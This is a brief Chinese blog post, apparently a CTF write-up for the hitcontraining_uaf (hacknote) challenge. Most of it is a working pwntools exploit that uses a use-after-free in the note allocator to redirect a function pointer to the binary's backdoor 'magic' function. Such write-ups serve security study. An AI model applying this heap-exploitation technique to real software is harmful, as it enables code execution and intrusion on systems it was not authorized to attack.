hitcontraining_uaf[use after free]

系统管理员 2023-02-22 08:27 128阅读 0赞

在这里插入图片描述
比较简单,直接留了后门!
exp

  1. from pwn import *
  2. context.log_level = 'debug'
  3. def pause_debug():
  4. log.info(proc.pidof(p))
  5. pause()
  6. def add_note(size, context):
  7. p.sendlineafter('choice :', str(1))
  8. p.sendlineafter('size :', str(size))
  9. p.sendafter('Content :', context)
  10. def delete_note(idx):
  11. p.sendlineafter('choice :', str(2))
  12. p.sendlineafter('Index :', str(idx))
  13. def print_note(idx):
  14. p.sendlineafter('choice :', str(3))
  15. p.sendlineafter('Index :', str(idx))
  16. proc_name = './hacknote'
  17. p = process(proc_name)
  18. # p = remote('node3.buuoj.cn', 27556)
  19. elf = ELF(proc_name)
  20. magic_addr = elf.sym['magic']
  21. add_note(0x16, b'a') # 0
  22. add_note(0x16, b'a') # 1
  23. delete_note(0)
  24. delete_note(1)
  25. add_note(0x8, p32(magic_addr)) # 2 0
  26. print_note(0)
  27. p.interactive()

在这里插入图片描述

发表评论

表情:
评论列表 (有 0 条评论,128人围观)

还没有评论,来说两句吧...

相关阅读

    相关 free()

    c语言中经常需要给指针变量分配内存空间,需要用到一组函数: malloc()和free() 使用的时候需要包含头文件stdlib.h malloc()比较好理解,主

    相关 Free

    Free无论是译作“自由”还是“免费”对于使用者来说似乎都有好处,但当自己处于开发者或开发厂商的角度,可能就是“双重标准”了,毕竟没有几个人能像Linus那样Just F...